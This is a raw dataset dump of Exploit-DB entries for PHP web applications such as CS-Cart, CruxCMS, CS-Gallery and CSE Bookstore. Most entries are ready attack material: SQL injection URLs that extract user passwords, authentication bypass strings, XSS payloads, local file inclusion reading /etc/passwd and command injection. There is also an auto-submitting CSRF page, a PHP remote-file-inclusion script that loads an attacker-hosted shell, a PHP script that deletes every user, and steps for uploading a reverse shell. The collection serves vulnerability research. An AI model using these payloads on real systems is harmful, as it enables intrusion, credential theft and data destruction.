deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6586
Description: Crux Gallery 1.32 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-26
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Crux Gallery <= 1.32 / Insecure Cookie Handling Vulnerability 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program: Crux Gallery
Version: <= 1,32
File affected: admin/*
Download: http://www.arzdev.com/downloads/8/Crux


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


>> Program description (by the author website) <<

Crux Gallery reads directories on a server and listes them with thumbnails for
the user to view without useing exrta space for thumbnails or extra bandwidth 
for full images. Each image has other resolutions near them for the user to 
choose from, including the origional resolution the image is in.

>> Bug <<

You can access to the admin panel altering the cookie and adding a parameter
in the navigation bar.


>> Exploit <<

Note: POST is not checked and you can enter all by GET. Also you can create a
simple perl script to send GET and POST packages.

Navigate by the admin panel adding the parameter '&name=users' in the 
navigation bar. Examples: 
    
	to view the main admin panel:
	http://site/index.php?op=admin&name=users

	to change the admin password:
	http://site/index.php?op=pass&name=users

# milw0rm.com [2008-09-26]
Exploit-DB #31097
Description: CruxCMS 3.0 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-04
Author: Psiczn

Exploit:
source: https://www.securityfocus.com/bid/27588/info

CruxCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

CruxCMS 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?search="><script>alert(/vuln/)</script>
Exploit-DB #35155
Description: CruxCMS 3.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-26
Author: ToXiC

Exploit:
source: https://www.securityfocus.com/bid/45594/info

CruxCMS is prone to multiple input-validation vulnerabilities, including multiple security-bypass issues, multiple arbitrary-file-upload issues, multiple SQL-injection issues, a local file-include issue, a cross-site-scripting issue and multiple information-disclosure issues. These issues occur because the application fails to properly sanitize user-supplied input.

Exploiting these issues may allow an unauthorized user to view files and execute local scripts, execute arbitrary script code, bypass certain security restrictions, access or modify data, exploit latent vulnerabilities in the underlying database, gain administrative access, steal cookie-based authentication credentials, and launch other attacks.

CruxCMS 3.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/cruxcms.3.0.0/search.php?search=_&max=1+UNION+ALL+SELECT+1,CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,1+FROM+cruxcms_users
http://www.example.com/cruxcms.3.0.0/links.php?max=1+UNION+ALL+SELECT+1,1,CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,0x596573+FROM+cruxcms_users
http://www.example.com/cruxcms.3.0.0/includes/template.php?style=../white.gif
http://www.example.com/cruxcms.3.0.0/manager/login.php?message=<script>alert(123);</script>
http://www.example.com/cruxcms.3.0.0/manager/switcher.php?style[]
http://www.example.com/cruxcms.3.0.0/search.php?search[]
http://www.example.com/cruxcms.3.0.0/manager/filetypes.php
http://www.example.com/cruxcms.3.0.0/styles/andreas01.php
Exploit-DB #51688
Description: Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated)
Type: webapps
Platform: php
Date: 2023-08-21
Author: 0xBr

Exploit:
# Exploit Title: Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated)
# Date: 11.08.2023
# Exploit Author: 0xBr
# Software Link: https://codecanyon.net/item/crypto-currency-tracker-prices-charts-news-icos-info-and-more/21588008
# Version: <=9.5
# CVE: CVE-2023-37759

POST /en/user/register HTTP/2
Host: localhost
Cookie: XSRF-TOKEN=[TOKEN]; laravel_session=[LARAVEL_SESSION]; SELECTED_CURRENCY=USD; SELECTED_CURRENCY_PRICE=1; cookieconsent_status=dismiss
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 756

_token=[_TOKEN]&name=testing&role_id=1&email=testing%40testing.testing&[CREDENTIAL_REDACTED]-recaptcha-response=[G-RECAPTCHA-RESPONSE]&submit_register=Register
Exploit-DB #32952
Description: CS Whois Lookup - 'ip' Remote Command Execution
Type: webapps
Platform: php
Date: 2009-04-23
Author: SirGod

Exploit:
source: https://www.securityfocus.com/bid/34700/info

CS Whois Lookup is prone to a remote command-execution vulnerability because the software fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected software and possibly the computer. 

http://www.example.com/path/index.php?ip=||whoami
Exploit-DB #27030
Description: CS-Cart - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-25
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16134/info

CS-Cart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=0&q=&x=11&y=3&sort_by=[SQL]
http://www.example.com/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=0&q=%27&x=11&y=3&sort_by=product&sort_order=[SQL]
Exploit-DB #31443
Description: CS-Cart 1.3.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-19
Author: sasquatch

Exploit:
source: https://www.securityfocus.com/bid/28333/info

CS-Cart is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

CS-Cart 1.3.2 is vulnerable; other versions may also be affected. 

GET /cscart/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=3&q=%22%20style%3D%22background:url(javascript:alert(12345))%22%20OA%3D%22&.x=0&.y=0 HTTP/1.0
Cookie: cart_languageC=EN; csid=
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 192.168.1.1
Referer: http://192.168.1.1/cscart/
Exploit-DB #48890
Description: CS-Cart 1.3.3 - 'classes_dir' LFI
Type: webapps
Platform: php
Date: 2020-10-16
Author: 0xmmnbassel

Exploit:
# Exploit Title: CS-Cart unauthenticated LFI
# Date: 2020-09-22
# Exploit Author:  0xmmnbassel
# Vendor Homepage: https://www.cs-cart.com/e-commerce-platform.html
# Tested at: ver. 1.3.4
# Vulnerability Type: unauthenticated LFI


http://www.site.com/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[evil_scripts]%00
example: 
http://www.site.com/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00
http://www.site.com/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00
Exploit-DB #1872
Description: CS-Cart 1.3.3 - 'classes_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-03
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  CS-Cart 1.3.3 (classes_dir) <= Remote File Include Vulnerability
$$  Script site: http://www.cs-cart.com
$$  Dork: Powered by CS-Cart - Shopping Cart Software
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-03]
Exploit-DB #48891
Description: CS-Cart 1.3.3 - authenticated RCE
Type: webapps
Platform: php
Date: 2020-10-16
Author: 0xmmnbassel

Exploit:
# Exploit Title: CS-Cart authenticated RCE
# Date: 2020-09-22
# Exploit Author:  0xmmnbassel
# Vendor Homepage: https://www.cs-cart.com/e-commerce-platform.html
# Tested at: ver. 1.3.3
# Vulnerability Type: authenticated RCE



get PHP shells from
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
edit IP && PORT
Upload to file manager
change the extension from .php to .phtml
visit http://[victim]/skins/shell.phtml --> Profit. ...!
Exploit-DB #6352
Description: CS-Cart 1.3.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-09-02
Author: GulfTech Security

Exploit:
##########################################################
# GulfTech Security Research           September 02, 2008
##########################################################
# Vendor : CS-Cart.com
# URL : http://www.cs-cart.com/
# Version : CS-Cart <= 1.3.5
# Risk : SQL Injection
##########################################################


Description:
CS-Cart Cart is a full featured online ecommerce application written
in php that allows users to build, run and promote an online store.
There is unfortunately a fairly serious SQL Injection issue within
CS-Cart that can be used to easily take over user and administrator
accounts, as well as used to retrieve arbitrary data from the database.
The CS-Cart team have released an updated version of CS-Cart to resolve
this issue, and users should upgrade as soon as possible.


SQL Injection:
There is a fairly serious SQL Injection issue in CS-Cart that, as
mentioned before, allows attackers to easily bypass authentication, or
retrieve arbitrary data from the underlying database. The vulnerable
code can be found in /core/user.php

if (fn_get_cookie(AREA_NAME . '_user_id')) {
    $udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login, membership_status,
    membership_id FROM $db_tables[users] WHERE user_id='".fn_get_cookie(AREA_NAME . '_user_id')."'
    AND password='".fn_get_cookie(AREA_NAME . '_password')."'");
    fn_define('LOGGED_VIA_COOKIE', true);
}

At the time of discovering this issue the fn_get_cookie() function did
nothing more than check if the specified cookie value was present, if
it was then it returned the value. This of course allowed for an SQL
Injection issue since an attacker can easily specify cookie data.

cs_cookies[customer_user_id]=1'/*;

For example an attacker could specify a cookie like the one shown above
and successfully log in as the customer with the id of 1 without ever
actually authenticating. Alternatively just about any data can be
retrieved via this method also since the injection happens right in the
middle of a select statement.



Solution:
An updated version of CS-Cart has been released to address these issues
and users can upgrade by visiting the CS-Cart website.



Credits:
James Bercegay of the GulfTech Security Research Team



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00[PII_REDACTED]8

# milw0rm.com [2008-09-02]
Exploit-DB #8184
Description: CS-Cart 2.0.0 Beta 3 - 'Product_ID' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-09
Author: netsoul

Exploit:
CS-Cart 2.0.0 Beta 3 (dispatch) SQL Injection Vulnerability
Provider: www.cs-cart.com
Discovered by netsoul
Greetz: m1cr0n, IvanKalet, blackfalcon, str0ke
Contact: netsoul2[at]gmail.com
ALTO PARANA - PARAGUAY
Ã‘ane mba'e teete
#####################################################

Exploit:

http://cs-cart cms/[path]/index.php?dispatch=products.view&product_id=289' UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,concat(user_login,0x3a,password),0,0 from cscart_users/*


#####################################################

# milw0rm.com [2009-03-09]
Exploit-DB #33146
Description: CS-Cart 2.0.5 - 'reward_points.post.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-04
Author: Ryan Dewhurst

Exploit:
source: https://www.securityfocus.com/bid/35936/info

CS-Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to CS-Cart 2.0.6 are vulnerable. 

The following example URI is available:

http://www.example.com/index.php?dispatch=reward_points.userlog&result_ids=pagination_contents&sort_by=timestamp&sort_order='
Exploit-DB #36093
Description: CS-Cart 2.2.1 - 'products.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-08-30
Author: Net.Edit0r

Exploit:
source: https://www.securityfocus.com/bid/49378/info

CS-Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CS-Cart 2.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/controllers/customer/products.php?tabs_group_id=[SQL INJECT]
Exploit-DB #36358
Description: CS-Cart 4.2.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-03-11
Author: Luis Santana

Exploit:
# Exploit Title: CS-Cart 4.2.4 CSRF
# Google Dork: intext:"© 2004-2015 Simtech"
# Date: March 11, 2015
# Exploit Author: Luis Santana
# Vendor Homepage: http://cs-cart.com
# Software Link: https://www.cs-cart.com/index.php?dispatch=pages.get_trial&page_id=297&edition=ultimate
# Version: 4.2.4
# Tested on: Linux + PHP
# CVE : [if one exists, or other VDB reference]

Standard CSRF, allow you to change a users's password. Fairly lame but I noticed no one had reported this bug yet.

Exploit pasted below and attached.

<html>
<head>
<title>CS-CART CSRF 0day Exploit</title>
</head>
<body>
<!-- Discovered By: Connection
    Exploit By: Connection
    Blacksun Hacker's Club
    irc.blacksunhackers.com #lobby
-->
    <form action="http://<victim>/cscart/profiles-update/?selected_section=general" method="POST" id="CSRF" style="visibility:hidden">
      <input type="hidden" name="user_data[email]" value="hacked@lol.dongs" />
      <input type="hidden" name="user_data[password1]" value="CSRFpass" />
      <input type="hidden" name="user_data[password2]" value="CSRFpass" />
      <input type="hidden" name="user_data[profile_name]" value="Concept" />
      <input type="hidden" name="dispatch[profiles.update]" value="" />
    </form>
<script>
document.getElementById("CSRF").submit();
</script>
  </body>
</html>


Luis Santana - Security+
Administrator - http://hacktalk.net
HackTalk Security - Security From The Underground
Exploit-DB #3372
Description: CS-Gallery 2.0 - 'index.php?album' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-24
Author: burncycle

Exploit:
<?php

//File Inclusion Exploit for CS_Gallery <= 2.0
//Found and Exploit Coded by burncycle - burncycle[(at)]robert-beran[(dot)]de
//|
//Vendor: http://www.cschneider.de/
//Dork: www.cschneider.info
//|
//Bug in "index.php":
//..
//$codefile=$_POST['album'].'/code.php';
//include $codefile;
//..
//|
//Usage: php exploit.php [pathtoscript] [pathtoshell] ([proxy:port])
//Example: php exploit.php http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)
//|
//Your Box Needs the cURL extension of PHP
//The exploit works only with allow_url_fopen = On and allow_url_include = On PHP settings on the target box
//|
//Edited 20.05.2007 by ensai (the same person as burncycle ;))
//Added proxy support, working conditions supplemented and easier file inclusion statement

//Nur ausnahme Fehler anzeigen
error_reporting(1);

echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell] ([proxy:port])\r\n\r\n";
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)\r\n\r\n";

//Schauen ob alles angegeben wurde
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
{

  $pathtoscript = $_SERVER["argv"][1];
  $pathtoshell = $_SERVER["argv"][2];

  //erzeuge ein neues cURL Handle
  $ch = curl_init();
  
  //proxy setzen
  if (!empty($_SERVER['argv'][3]))
  {
    curl_setopt($ch, CURLOPT_PROXY, $_SERVER['argv'][3]);
  }

  //setzte die URL und andere Optionen
  curl_setopt($ch, CURLOPT_URL, $pathtoscript."index.php?todo=securealbum");
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, "album=".$pathtoshell);

  //f?hre die Aktion aus
  curl_exec($ch);

  //schlie?e das Handle und gebe Systemresourcen frei
  curl_close($ch);

}

?>

# milw0rm.com [2007-02-24]
Exploit-DB #30581
Description: CS-Guestbook 0.1 - Login Credentials Information Disclosure
Type: webapps
Platform: php
Date: 2007-09-12
Author: Cr@zy_King

Exploit:
source: https://www.securityfocus.com/bid/25652/info

CS-Guestbook is prone to an information-disclosure vulnerability because the application fails to properly protect sensitive information.

An attacker can exploit this issue to access sensitive information that may lead to further attacks. 

http://www.example.com/guest/base/usr/0.php
Exploit-DB #48973
Description: CSE Bookstore 1.0 - 'quantity' Persistent Cross-site Scripting
Type: webapps
Platform: php
Date: 2020-10-30
Author: Vyshnav nk

Exploit:
# Exploit Title: CSE Bookstore 1.0 - 'quantity' Persistent Cross-site Scripting
# Date: 30/10/2020
# Exploit Author: Vyshnav NK
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Windows 10 and Windows 7

CSE Bookstore is vulnerable to a Persistent Cross-site scripting  on Checkout.php and cartp.php, Where an user can able to add quantity as an XSS Payload and once added each time when we click on MyCart option it triggers as stored one

The below URL can be accessed by a User

URL :  http://localhost/php/checkout.php and http://localhost/php/cart.php

Payload : "><svg/onload=alert(5)>

Insert XSS Payload into Quantity Section
Exploit-DB #48960
Description: CSE Bookstore 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-10-28
Author: Alper Basaran

Exploit:
# Exploit Title: CSE Bookstore Authentication Bypass
# Date: 27/10/2020
# Exploit Author: Alper Basaran
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Windows 10 Enterprise 1909


CSE Bookstore is vulnerable to an authentication bypass vulnerability on the admin panel. 
By default the admin panel is located at /admin.php and the administrator interface can be accessed by unauthorized users exploiting the SQL injection vulnerability.

Payload: 
Name: admin
Pass: %' or '1'='1 

Sample BurpSuite intercept:

POST /bookstore/admin_verify.php HTTP/1.1
Host: 192.168.20.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://192.168.20.131
Connection: close
Referer: http://192.168.20.131/bookstore/admin.php
Cookie: PHPSESSID=hmqnib0ihkvo235jor7mpfoupv
Upgrade-Insecure-Requests: 1

name=admin&pass=%25%27+or+%271%27%3D%271&submit=Submit+Query
Exploit-DB #6814
Description: CSPartner 1.0 - Delete All Users / SQL Injection
Type: webapps
Platform: php
Date: 2008-10-23
Author: StAkeR

Exploit:
<?php

/*

   CSPartner 1.0 (Delete All Users/SQL Injection) Remote Exploit
   ----------------------------------------------------------------
   By StAkeR[at]hotmail[dot]it 
   http://www.easy-script.com/scripts-dl/cspartne-01.zip
   ----------------------------------------------------------------
   
   File gestion.php
   
   5. if(!empty($_POST["pseudo"]) && !empty($_POST["passe"])){
   6. $sql  = "SELECT * FROM $tblPartner where pseudo='".$_POST["pseudo"]."' AND password='".$_POST["passe"]."'";
   7. $resultat = mysql_db_query($mydbPartner, $sql);
   
   Blind SQL Injection or Login ByPass for you :P
   
   Examples: ($_POST['pseudo'] and $_POST['passe'])
   
  -1 ' or '1=1
  -2 ' or ascii(substring((select password from CSPartner where id=1),1,1))=[97]/*
  -3 and other :D
  
   
   
*/


error_reporting(0);

$host = $argv[1] or die("Usage: php [exploit.php] [http://localhost/cms]\n");

if(preg_match_all('/erase=(.+?)"/',file_get_contents($host.'/admin/index.php'),$out))
{
  for($i=0;$i<=count($out);$i++)
  {
    file_get_contents($host.'/admin/index.php?erase='.$out[1][$i]);
  }
    echo "[-] All Users Deleted\n";
}
else
{
  echo "[-] Exploit Failed!\n";
}

# milw0rm.com [2008-10-23]
Exploit-DB #34296
Description: CSSTidy 1.3 - 'css_optimiser.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-11
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41552/info

CSSTidy is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. ImpressCMS versions that use the vulnerable application are also affected.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

CSSTidy 1.3 and ImpressCMS 1.2.1 are vulnerable; other versions may also be affected.

http://localhost/impresscms/plugins/csstidy/css_optimiser.php?url=%22%3E%3Cscript%3Ealert(0)%3C/script%3E